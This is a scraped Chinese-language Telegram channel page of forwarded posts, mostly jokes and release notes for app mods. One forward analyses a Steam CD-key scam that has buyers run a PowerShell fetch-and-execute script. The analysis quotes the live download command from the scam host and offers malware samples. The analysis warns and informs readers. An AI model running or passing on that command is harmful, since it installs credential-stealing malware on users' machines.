Foxy的QQ空间


Channel's geo and language: not specified, not specified
Category: not specified


foxy的QQ空间

Related channels

Channel's geo and language
not specified, not specified
Category
not specified
Statistics
Posts filter


moon bridge. 🌙

> 原文链接: LINK


Forward from: 简中互联网废物大赏
家人们为什么下载植物大战僵尸需要付费啊
[石化R][石化R][石化R][石化R][石化R][石化R][石化R][石化R][石化R][石化R][石化R][石化R],我的童年怎么也被金钱污染了,这是不是正版啊




Forward from: PIII


Forward from: 橘橘橘子汁 & 🍊
# 关于 steam.work 激活码诈骗脚本的分析

结论放在前面:如果买 cdkey 买到让你要输入某个脚本再激活的,那别去管他,立刻退货并举报商家!原因就直接贴我写这个就行...

## 正文
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:【图1】
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?

我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:【图2】
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是,正好 HTML 文件的开头是 这鸟人给他改成 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
那么真实的代码就只剩一行了
irm steam.work/pwsDwFile/new1 -OutFile x.ps1
又下文件 这回下了个什么玩意出来?【图三有分析】
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来....
(好吧我根本下不下来 一下下来就被WD干掉了 根本没有分析的机会哇!最后还是把WD关掉了)
随便分析一下
【图4】咋还有个zlib? 在解压什么?
于是动态调试给他 dump 下来,一看这文件头就是 PE 文件...原来是套娃,下载的两个文件里第二个文件就是加密过的真实病毒数据...又把这个解压出来的东西拿去静态分析
然后发现这里面 啥都没有,而且有三个 .text 段,其中两个都是空的,这也太神奇了吧...链接的几个库只有 sqlite3, bcrypt...等等 这莫不是在写 steam 的数据库?
(草 怎么快三点了 该睡觉了 明天再说!~)
相关样本我会发在评论区 想玩的各位可以玩玩看xD


什么q币


Forward from: Beta Info 中文
将星币作为礼物发送给其他用户

Android 版 Telegram 的 Beta 版的用户可以向其他用户发送星币作为礼物。

请注意:此功能仅在 Telegram 测试服务器上可用!

#Android #stars


度盘belike




Forward from: 简中互联网废物大赏
【奥运会开幕式这个大飞机把我的白车变红车】

有这么倒霉的么!
天空巨大的红色心形
红色的染色体全都飘落在我车上了!

真是应了奥运会主题无处不在的爱心❤️!
染了我一车红!!!!

网上还找不到教程怎么擦大飞机喷出来的这玩意!
主要是擦还擦不掉!!!!
我还在网上找教程怎么给车抛光!都要入手一台抛光机啦!😭😭😭😭
白车全车都是红色的斑点!🩸🩸🩸🩸
到处都是partout partout ,前面,后面,还有两侧门上到处都是红色斑点!!!!
还下着大雨🌧️🌧️🌧️🌧️,我像个S~B一样在路边擦车!!老外全都瞅我!!尴尬不尴尬😳,下雨天擦车!

问了国内老乡修车的让我试试酒精,发完帖子我就去买酒精去!
还有谁这么倒霉!!! source

#法语废物大赏


Video is unavailable for watching
Show in Telegram
也是成柔特大牛了


Forward from: 洛希极限


Forward from: 星茶会
dolby_beta_4.0.0_20240726-release.apk
11.5Mb
4.0首个测试版本发布,经过大量重构,引入dexkit进行动态匹配,对官方版,荣耀版,极速版拥有更好的配适,支持官方最新版本。目前受官方云控原因,侧边栏精简9.0以上版本暂时不可用,等稳定后更新。
推荐版本6.0.0 7.3.28 8.10.50以及官方新版本

帮忙测测一起听解锁蒙面是否全版本配适


Forward from: Z-Library Official 📚
Dear Readers,

We're truly sorry for the inconvenience, but there are some technical problems with the website. Our team is currently working on fixing them.

As soon as we get back online, we'll notify you all. Please stay tuned!

In case you have any issues, please feel free to contact us at support@z-lib.do


世界以痛吻我,但我没同意啊,这不是性骚扰吗


Forward from: 5ec1cff
Zygisk-Next-1.1.0-330-a1b0e69-release.zip
1.7Mb
Zygisk Next 1.1.0 正式版
移除了两朵乌云
Shamiko 用户请配合 Shamiko 1.1.1 使用

Zygisk Next 1.1.0 Stable Release
Removed two dark clouds
Shamiko users please use Shamiko 1.1.1

real5ec1cff




Forward from: 洛希极限
英特尔13/14代处理器存在严重工艺缺陷。


Video is unavailable for watching
Show in Telegram
听说你表情包用户上百万,怎么粉丝还没1w啊
@没有未来的Suzume酱:
搞笑 - rt
20240706切片
0706的时候确实没过万【目移】
〰〰〰〰〰〰〰〰〰〰


Ciallo~(∠・ω< )⌒★

20 last posts shown.

6

subscribers
Channel statistics